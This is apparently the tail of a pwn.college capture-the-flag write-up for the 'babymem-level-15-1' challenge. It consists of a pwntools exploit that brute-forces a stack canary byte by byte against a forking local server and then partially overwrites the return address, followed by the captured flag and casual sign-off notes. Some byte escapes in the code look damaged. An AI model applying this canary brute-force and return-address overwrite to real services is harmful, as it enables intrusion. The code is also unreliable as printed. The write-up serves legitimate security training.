context(log_level="debug", terminal="kitty")

FILE = "./babymem-level-15-1"
HOST, PORT = "localhost", 1337

gdbscript = """
set follow-fork-mode child
b *challenge+213
c
"""


def to_hex_bytes(data):
    return "".join(f"\x{byte:02x}" for byte in data)


def get_forked_pid(parent_pid):
    parent = psutil.Process(parent_pid)
    children = parent.children()

    log.success(f"Parent process: {parent_pid} -> Found children: {children}")
    if len(children) != 1:
        raise Exception(f"Expected 1 child process, found {len(children)}")
    return children[0].pid


def launch(local=True, debug=False, aslr=False, argv=None, envp=None, attach=Fal
se):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        target = process([elf.path] + (argv or []), env=envp, aslr=aslr)

        if debug:
            if attach:
                with open(os.devnull, "w") as fnull:
                    subprocess.Popen(
                        [context.terminal[0], "-e", "nc", "localhost", "1337"],
                        stderr=fnull,
                    )
                    sleep(3)

                child_pid = get_forked_pid(target.pid)
                gdb.attach(target=child_pid, gdbscript=gdbscript)

                return remote(HOST, PORT)
            else:
                target.close()

                return gdb.debug(
                    [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, e
nv=envp
                )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


padding_to_canary = b"".ljust(0x48, b"A")
padding_to_ret = b"".ljust(0x8, b"A")
fixed_offset = b"xcd"
possible_bytes = [bytes([i]) for i in range(0x5, 0x105, 0x10)]


def send_payload(target, payload):
    try:
        payload_size = f"{len(payload)}".encode()

        target.sendlineafter(b"Payload size: ", payload_size)
        target.sendafter(b"Send your payload", payload)
    except Exception as e:
        log.exception(f"An error occurred while sending payload: {e}")


def brute_force_canary():
    canary = b"x00"
    start_time = time.time()

    while len(canary) < 0x8:
        for byte in range(0x0, 0xFF):
            with remote(HOST, PORT) as target:
                log.progress("Brute-forcing the canary...")
                send_payload(target, padding_to_canary + canary + bytes([byte]))

                response = target.recvall(timeout=5)

                if b"*** stack smashing detected ***" not in response:
                    canary += bytes([byte])
                    break

    end_time = time.time()
    elapsed_time = end_time - start_time

    log.success(
        f"Canary brute-forced: {to_hex_bytes(canary)} in {elapsed_time:.2f} seco
nds"
    )
    sleep(1)

    return canary


def construct_payload(canary):
    payload = padding_to_canary
    payload += canary
    payload += padding_to_ret
    payload += fixed_offset + random.choice(possible_bytes)

    return payload


def attack(payload):
    try:
        with remote(HOST, PORT) as target:
            send_payload(target, payload)

            response = target.recvall(timeout=5)

            return b"pwn.college{" in response
    except Exception as e:
        log.exception(f"An error occurred while performing attack: {e}")


def main():
    launch()
    canary = brute_force_canary()

    while True:
        try:
            payload = construct_payload(canary)

            if attack(payload):
                log.success("Success! Exiting...")

                pause()
                exit()
        except Exception as e:
            log.exception(f"An error occurred in main loop: {e}")


if __name__ == "__main__":
    main()
```

## Flag

Flag: `pwn.college{8C2ZHb8LE-O7bRe0DvQeo4_5XUV.0FOxMDL5cTNxgzW}`

# 

`pwn.college`  30  18 
**Shellcode Injection*
*

 _>w<_



~_:sob:_~

~_ bushi_~

~**_Alr, right now, let's sleep!_**~ **_Let's liberate~_**